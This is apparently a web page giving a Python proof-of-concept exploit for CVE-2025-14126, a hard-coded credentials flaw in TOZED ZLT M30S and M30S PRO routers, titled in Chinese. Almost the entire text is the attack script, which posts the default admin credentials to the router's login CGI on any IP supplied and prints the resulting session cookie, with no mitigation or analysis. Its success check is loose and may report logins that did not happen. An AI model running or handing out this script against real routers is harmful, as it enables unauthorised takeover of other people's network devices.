CVE-2025-14126 TOZED ZLT M30S/M30S PRO路由器硬编码凭证漏洞

import requests import sys # CVE-2025-14126 PoC - TOZED ZLT M30S Hard-coded Credentials # Target: TOZED ZLT M30S / M30S PRO Router Web Interface def exploit(target_ip, username='admin', password='admin123'): """ Exploit hard-coded credentials on TOZED ZLT M30S router Args: target_ip: Target router IP address username: Hard-coded username (default: admin) password: Hard-coded password (default: admin123) Returns: bool: True if login successful, False otherwise """ login_url = f'http://{target_ip}/cgi-bin/login.cgi' payload = { 'username': username, 'password': password } try: response = requests.post(login_url, data=payload, timeout=10) if response.status_code == 200: # Check for successful login indicators if 'login' not in response.text.lower() or 'success' in response.text.lower(): print(f'[+] Login successful with {username}:{password}') print(f'[+] Session cookie: {response.cookies.get_dict()}') return True else: print('[-] Login failed - invalid credentials') return False else: print(f'[-] HTTP Error: {response.status_code}') return False except requests.exceptions.RequestException as e: print(f'[-] Connection error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_ip>') sys.exit(1) target = sys.argv[1] exploit(target)